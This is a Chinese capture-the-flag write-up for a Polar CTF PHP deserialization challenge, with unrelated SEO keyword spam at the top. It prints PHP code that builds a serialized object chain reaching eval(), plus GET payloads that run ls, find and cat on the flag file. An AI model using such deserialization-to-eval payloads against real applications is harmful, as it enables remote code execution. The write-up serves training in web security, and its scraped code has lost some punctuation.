做视频网站想用家庭网络,html图片网站,在线看免费观看视频网站大全,商务网站建设目的Polar Web【中等】反序列化 Contents Polar Web【中等】反序列化思路探索EXPPHP生成PayloadGET传递参数 运行总结 思路探索 一个经典的反序列化问题#xff0c;本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。 打开站点#xff0c;分析…Polar Web【中等】反序列化 Contents Polar Web【中等】反序列化思路探索EXPPHP生成PayloadGET传递参数 运行总结 思路探索 一个经典的反序列化问题本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。 打开站点分析PHP代码 可以发现需要实现触发命令执行的位置在 process 类中的 close 函数的 eval() 处能够触发 close() 调用的方式 —— 创建 example 实例触发运行结束时 __destruct() 执行其中使得成员变量 handle 为所需要的 process 实例便可形成完整的调用链 按照上述思路在本地拷贝两个类并实现调用链并调用 echo 输出序列字符串在页面上具体见下文图中按照站点提示将序列字符串以 data 参数进行 GET 传参 初次使用 ls 命令发现已处在根目录下并未发现flag故考虑使用命令 find / | grep flag找出 flag 具体位置最后下达 cat /var/www/flag.php 命令虽没有直接回显查看源码可获取 flag EXP
PHP生成Payload
?phpclass process{public $pid;function close(){eval($this-pid);}}$a new example();$a-handle new process();// $a-handle-pid system(ls);;// $a-handle-pid system(find / | grep flag);;$a-handle-pid system(cat /var/www/html/flag.php);;echo serialize($a);
?GET传递参数
http://~.www.polarctf.com:8090/?dataO:7:example:1:{s:6:handle;O:7:process:1:{s:3:pid;s:13:system(ls);;}}http://~.www.polarctf.com:8090/?dataO:7:example:1:{s:6:handle;O:7:process:1:{s:3:pid;s:29:system(find / | grep flag);;}}http://~.www.polarctf.com:8090/?dataO:7:example:1:{s:6:handle;O:7:process:1:{s:3:pid;s:37:system(cat /var/www/html/flag.php);;}}运行总结 借用本经典的反序列化题目记录如何用PHP代码辅助生成所需的序列字符串找出合适的调用链是为代码审计之要点 敬不完美的明天